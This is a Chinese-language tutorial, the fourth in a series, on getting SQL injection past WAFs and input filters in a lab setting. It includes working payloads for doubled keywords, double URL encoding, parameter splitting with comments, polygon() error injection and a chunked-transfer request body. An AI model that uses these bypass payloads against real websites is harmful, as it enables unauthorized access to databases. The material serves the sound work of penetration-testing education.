概述
文中详细讲解web安全之SQL注入的绕过技术,通过文中内容更加深入的掌握SQL注入绕过技术原理及使用方法,从而更好的用于渗透测试中;文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。
SQL注入绕过技术(四)
使用双关键词绕过
部分程序会对union select进行转空,但是这样就会留下安全隐患,当我们使用双关键字时,程序就只会对一个union或select进行转空,而剩下就会被带入数据库查询:
?name=1%27UNIunionON%20SeLselectECT%201,2--+&submit=1
这样我们就可以通过双关键词来对程序进行绕过。
二次编码绕过
有些程序会解析二次编码,从而造成SQL注入,因为url两次编码后,waf是不会拦截。
1'union select 1,version()--
当我们将这条语句进行url编码后,我们可以看出语句被中间件apache iis都会自动转为字符
所以当服务器中存在防护软件,进行一次编码是会被检测出来。
那么我们将字符进行两次编码后,测试可看出中间件是不会将其转为字符的。
而二次编码通常会在开启了gpc或者waf拦截时使用,且从源码中我们可以看出只要有值过来,会直接使用urldecode这个函数来进行解码
因为二次编码,且代码里有urldecode这个函数对字符url解码,那么当我们将语句进行二次编码后,系统会使用代码里urldecode函数来进行解码,然后中间件会将只有一次编码的语句再次转为字符,这样我们就成功绕过gpc 字符转义,从而成功突破waf拦截。
http://192.168.1.6/09/vul/s2.php?id=%25%32%64%25%33%31%25%32%37%25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%33%31%25%32%63%25%37%36%25%36%35%25%37%32%25%37%33%25%36%39%25%36%66%25%36%65%25%32%38%25%32%39%25%32%63%25%33%33%25%32%63%25%33%34%25%32%64%25%32%64%25%32%30
多参数拆分绕过
当我们有多个参数时,可以将注入语句分割插入,从而实现绕过waf。
从代码中可以看出gpc开启,但参数是可控的,那么就可以使用参数拆分请求来绕过。
?id=-1'union /*&username=*/select%201,version(),3,4--+admin
原理首先是因为参数可控,这样使用拆分即可绕过,因为/这里面会被注释/,从而使语句拼接带入查询,实现绕过。
生僻函数绕过
当存在报错注入时,通常很多waf都会对updatexml函数进行拦截,那么我们可以使用polygon这个函数来代替,从而实现绕过。
select polygon((select * from (select * from (select @@version) f) x));
分块传输绕过
使用分块传输 首先在 http 头加上 Transfer-Encoding: chunked 表示分块传输传送 ,第一行是长度 第二行是字符串 0 表示传输结束 后面跟上两个空格。
同样我们可以使用burp中的插件chunked-coding-converter来进行编码提交
Encoding request body #编码请求体
Decoding request body #解码请求体
将请求体进行编码后
Transfer-Encoding: chunked #关键词
2;U0AdYl8YQmBU #id就是2个字符长度,冒号后面的这一段属于随机数,可以来扰乱waf的判断,从而实现绕过
id
1;nunH1I2A
=
2;ovZ85KYwTyzAfONDMCKR
-1
1;y3v35shr
+
3;HwPIJlwJ8FTDd814iuBQan1KC
uni
3;Vv95CuRtwWoIU2OL
on+
1;IUID61wTZ4DZ7w838gkaDf
s
3;tJFTj0o
ele
1;oSwJ6YklXZigzFI2ey20tLS
c
2;sP5Rob
t+
1;YCxoT5DlEbGaefPvjXI
1
1;mDIISDWOLQ8DfkwpaKwfTto
,
1;4Yeoeo2cdazFrqk4
u
1;F15AeyyJ
s
3;Bn42IGX
er(
3;kHZOvp62
)--
1;2PDAJKg0S
+
3;TG3meCAL
&su
1;JhzbgDXT8HJwrEjYWf08v
b
1;46K8YzRZgXWsnmex
m
1;DAGL7VbgPjCB
i
2;tzsWx7sxleXm2XGyKpTM
t=
1;3rGSMnXmlhxvvFeG
1
0
这里可以看出,可成功获取数据。
最后
以上就是懵懂山水为你收集整理的web安全之SQL注入绕过技术(四)SQL注入绕过技术(四)的全部内容,希望文章能够帮你解决web安全之SQL注入绕过技术(四)SQL注入绕过技术(四)所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复